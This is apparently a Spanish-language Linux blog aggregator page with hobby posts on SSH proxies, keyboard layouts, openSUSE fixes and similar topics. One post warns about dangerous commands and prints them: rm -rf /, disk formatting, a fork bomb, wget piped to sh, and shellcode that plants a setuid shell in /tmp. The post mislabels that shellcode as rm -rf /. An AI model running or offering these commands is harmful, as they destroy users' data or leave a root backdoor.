ssh -N -f -D localhost:7777 XXX.XXX.XXX.XXX

y tenemos un SOCKs proxy en nuestro equipo, apuntamos nuestra aplicación como iceweasel para usar ese proxy y todos felices :)

Feb 25, 2009

Melvyn Gomez

Melvyn Gomez
elsimio feed

Nuevo Record en Xgalaga

Este domingo que paso me levante tarde, casi a las 11:00 am así que solo busque que había de tomar en el refrigerador, encontré jugo de naranja natural y me fui a la computadora a nancear un rato, al rato me puse a jugar xgalaga-hyperspace en mi Debian solo por ocio pero en la primera partida que tuve vi que llevaba mucha suerte y así como había comentado anteriormente esta vez volví a romper mi
David Mejia

David Mejia
DAMR.NET » linux feed

Explicación Gráfica del Software Libre

Interesante explicación gráfica del software libre, por si no lo entendían con palabras (vía cesarius).

Feb 12, 2009

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Iphone Shell: Apt-get, debs y demas..

Muy interesante, definitivamente... aún estoy buscando información al respecto, pero vean el siguiente screenshot:Existe la aplicación Cydia que implementa apt en el iphone... tambien la aplicacion OpenSSH con la que conseguí la shell de arriba... ya me sentí bastante en confianza: el apt-get update funciona muy bien, las passwords no estan shadowed, algunos comandos como fstab, dmesg, nano y

Feb 09, 2009

Discos a la basura

Hoy me puse a *quemar* cierta información en unos DVDs y de repente me dio por revisar la cantidad de CDs que tengo tirados (o agrupados) por todas partes y decidí botar los inservibles, ya sea por mal estado físico o por antigüedad del contenido.

Y así poco a poco fui conformando el paquete de discos que se irán a la basura, lo curioso del caso es que encontré discos entre los que figura: Debian Sid, pero cuando Woody era Stable, también discos de Debian Woody r1, dos discos #1 de Sarge, 5 NetInstaller de Etch, un set de FreeBSD (algo *reciente*, hace 2 ó 3 años), un disco de Debian kFreeBSD y un Knoppix 4.0.

En algún momento dude de tirarlos a la basura, pero me puse a pensar, que si en este momento necesitase un Debian NetInstaller, no utilizaría mis reliquias para instalar, sino mas bien, me bajaría el mas reciente y lo quemo, por lo tanto lo mejor es deshacerse de estos, aunque me quedé con el Knoppix y el FreeBSD.

Feb 05, 2009

Adios `uptime’ en bart

Pues un poco triste porque perdí el uptime:

bart:~# uptime
17:48:56 up 161 days, 6:23, 1 user, load average: 0.20, 0.08, 0.02

Para muchos quiza no signifique mucho 161 dias, pero ya le habia tomado carino al `uptime’ de ese servidor. Ciertos requerimientos de una aplicacion en la version del kernel me obligo a hacer un upgrade y luego a reiniciar el equipo.

Así que ni modo, ahora a comenzar la cuenta de nuevo.

Jan 19, 2009

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Primer DD de El Salvador

Realmente es un honor, como miembro fundador de la Comunidad de Usuarios Debian de El Salvador, ser amigo y ahora poder contar con el primer DD - Debian Developer de El Salvador.Como nuestro querido y singular amigo Rene "el churro" Mayorga cuenta en su post, han sido un par de años para concretizar este logro, sin embargo después de tanto esfuerzo y dedicación, El Salvador cuenta con alguien que

Jan 16, 2009

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Goosh.org -> La shell de Google


En otro de mis paseos por Internet me tope con algo bastante interesante (al menos seguro que para los geeks si), y no es ni más ni menos que una aplicación web que simula una shell no oficial de el archirecontraconocido buscador google..

Intente conseguir una verdadera shell conectándome por SSH con el user guest y pass guest y aunque el puerto esta abierto no me pude loguear con esos datos :(

Pero para todos aquellos que disfrutan hacer las cosas al más puro estilo geek, o que deseen buscar en google como lo haría Chuck Norris (bueno en realidad Chuck Norris no necesita buscar en Google), goosh es lo que andabas buscando.

Goosh.org

Usando `deadkeys’ al fin, tildes en mi teclado en Ingles

Una de las cosas que no me gustaba con el hecho de cambiar de laptop era el tema del teclado, pues había tenido ya por buen rato el teclado en español en la HP, y ahora tendría que acostumbrarme de nuevo a no usar tildes, y la falta de la «ñ»

Si bien es cierto mi ortografía es mala, mejoro mucho en el tiempo que use teclado en español, pues ya no tenía excusa para no tildar las palabras que pensaba llevan tildes.

pero bueno, para los pobres desafortunados como yo, que tienen portátiles con teclado en Ingles, aquí la solución:

Esto, saliendo de mi /etc/X11/xorg.conf

17 Section “InputDevice”
18         Identifier      “Generic Keyboard”
19         Driver          “kbd”
20         Option          “XkbRules”      “xorg”
21         Option          “XkbModel”      “pc105″
22         Option          “XkbLayout”     “us”
23         Option          “XkbVariant”    “intl”
24 EndSection

básicamente con la variante “Intl” lo que hacemos es habilitar las teclas muertas en el teclado, es decir, para poner tildes puedo usar la tecla apostrofe «’» y luego la vocal; también se puede usar la combinación AltGr + la vocal, que también funciona. y para la ñ, igual, AltGr + n, o usando la tecla de la virgulilla como deadkey.

Jan 06, 2009

102nueve en Linux

Soy medio aficionado a esta radio (no como lo era de la Femenina en los 90, pero algo…) y desde hace unos ratos he querido escucharla en la oficina (sin radioreceptor), la primera opción fue el celular pero es incomodo, la otra opción era la pagina de internet pero en mi Iceweasel no va muy bien.
Así que mejor hacerlo desde la terminal:

mplayer mms://190.5.136.69/102nueve

Dec 28, 2008

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

GNU/Linux vs Windows


No, no voy a comenzar uno de los tantos debates de la informática actual, simplemente posteo las imágenes con las que me tope en un foro :D

ROUND 1:

ROUND 2:

ROUND 3:

ROUND 4:

Al parecer las imagenes son de linuxadictos :D

Dec 18, 2008

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Comandos “malos” (GNU/Linux)


Bueno la imagen es una risa completa pero es de las primeras que aparecen en Google al buscar algo relacionado con tux y la muerte xD

Entrando al tema, navegando por ahí me tope con este post donde menciona 7 comandos que ponen en completo riesgo nuestro OS.

Revisándolos..
rm -rf /
Bastante simple verdad, lo que hace es borrar todos los ficheros desde la raíz del sistema “/” de forma recursiva y sin confirmación alguna..

No se quien podria ejecutar algo así pero al menos puede servir para hacer alguna broma de mal gusto xD

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
“\x6e\x2f\x73\x68\x00\x2d\x63\x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Aparentemente el mismo comando anterior en forma hexadecimal.

mkfs.ext3 /dev/sda

Este se nota a simple vista lo que hace, va a formatear el disco duro usando el sistema de archivos ext3, bien puede variar algo y en lugar de ser /dev/sda podría ser /dev/hda.. Todo depende.

:( ){:|:&};:

Una bomba fork, ejecuta procesos de forma indefinida hasta que el sistema deje de responder, en otras palabras una negación de servicio a nivel local.

No es tan dañino como los comandos anteriores pero seguro que nadie quisiera ejecutarlo.

any_command > /dev/sda

Una forma simple de arruinar la partición donde esta instalado el sistema, la salida del comando se va a escribir en /dev/sda (otra vez, podría ser /dev/hda/) dejándola completamente inservible.

wget http://some_untrusted_source -O- | sh


Este no garantiza que va a pasar algo malo, lo que hace es que descarga algo de una web ‘x’ y posteriormente lo ejecuta..

El riesgo corre en que no sabemos que estamos descargando.

mv /home/yourhomedirectory/* /dev/null

Este mueve todo lo de tu home a ese agujero negro llamado /dev/null xD

Claro que estos no son los únicos comando peligrosos, son simples formas un tanto ingeniosas de ocupar los mismos recursos del sistema, se pueden dar variaciones y cosas que de igual forma sean fatales para el pingüino (Linux):

mv /* /dev/null

rm -r /etc/

Y varias formas más de combinar estos comandos, claro que para que funcionen deben ser ejecutados como root.

En Youtube andan varios vídeos en su mayoría del famoso comando rm -rf /:

Ahora y a modo de actualización, les comento que no se que hacer con el blog en los próximos días, digo esto porque en el hosting actual solo va a seguir online hasta el próximo 2 de enero xD, tengo pensada una jugada para recuperar y poner todo online de vuelta ese mismo día, pero también quizás llego el momento de dar el salto a un host de pago y un dominio de pago para seguir creciendo..

Aunque puede también que me de un pequeño receso de la blogosfera y luego regrese junto con el proyecto del planeta (cosa que traigo pensada desde hace muchos meses pero nunca la pongo en practica).

Pase lo que pase gracias a todos los que se toman unos minutos para pasar y leer lo que escribo en este blog :)

May 09, 2008

Daniel Estevez

Daniel Estevez
Stevz ~ EnSuSEado feed

OpenSuSE 11

Mar 24, 2008

Daniel Estevez

Daniel Estevez
Stevz ~ EnSuSEado feed

OpenSUSE Regular Brillo de Pantalla DV6000

Dios dijo "video.ko" y la pantalla se hizo BRILLANTE

Sólo en caso de que este maldita y no puedas regular el brillo de la LCD en Linux, aquí hay algo de ayuda. Por favor, tenga en cuenta que se trata howto muy básico y general guía basada en openSuSE. Así que aquí vamos:


EL PROBLEMA
Usted no puede cambiar su brillo de la pantalla de la computadora portátil

RÁPIDA SOLUCION
Habilitar el modulo "Video" que viene con el paquete ACPI


FASE A

  1. Las necesidades de control de brillo LCD con el paquete acpi / video.ko (módulo).
  2. Primero asegúrate de acpi / vídeo módulo se carga correctamente. Ejecutar "lsmod" para ver todos los módulos cargados. Busque la entrada "vídeo". ( pase a fase B) Si no, tendrá que cargar el módulo manualmente. Prosiga con el paso 3.
  3. Cheque para la disponibilidad de este módulo en su distribución. Para ello, ejecuta "modprobe-l" como root para ver todos los módulos disponibles. " Esté atento a una entrada " <someting> /acpi/video.ko" / Acpi / video.ko " </someting> . Si es allí, proceder a paso 4. Aunque se trata de un módulo muy común, pero si, en casos raros, usted no lo encuentra, tendrá que parchear su kernel, que es un proceso largo y esta más allá del alcance de esta guía (una bonita forma de decir que NO por hoy! !) En cualquier caso, es que el módulo, puede proceder.
  4. Ejecutar "modprobe vídeo" como root para cargar el módulo. Luego ejecuta "lsmod" y verá el vídeo se indican en la parte superior. Si no puede ver el módulo de esta lista, andá Fase B
FASE B
Antes de continuar, por favor vaya a través de la fase A, una vez más, y comprobar que no te has perdido nada.
Introducida como una nueva "característica", xorg bloques "vídeo" módulo de carga. Como solución temporal, haga lo siguiente:
  1. Edite como root "/ etc/modprobe.d/xorg-x11-driver-video"
  2. Comentario de la línea "install vídeo / bin / true"
  3. Ejecutar "modprobe vídeo" como root
Para dejar permanente la carga del modulo "Video" ingresamos al archivo /etc/sysconfig/kernel
buscar la linea MODULES_LOADED_ON_BOOT="" agregamos la palabra "video" entre las comillas, quedando de la siguiente forma MODULES_LOADED_ON_BOOT="video", de esta forma cada vez que iniciemos el openSuSE sera cargado el modulo.

Y listo!!! despues de casi unos 12 meses peleando con el brillo del LCD POR FIN!!!!!! funciona! como debe ser.


Mar 21, 2008

Daniel Estevez

Daniel Estevez
Stevz ~ EnSuSEado feed

Anuncio openSUSE 11.0 Alpha 3

Una buena noticia!
El dia 20 de marzo anunciaron la liberacion del OpenSUSE 11.0 Alpha 3




una muestra de los paquetes actualizados a una nueva version es la siguiente:
  • linux kernel 2.6.25-rc5
  • GCC 4.3 final
  • GNOME 2.22 final
  • Compiz 0.7.2
  • KDE 4.0.2/3.5.9
  • Zypper 0.10.2
La iso la pueden descargar de aqui opensuse 11.0 Alpha 3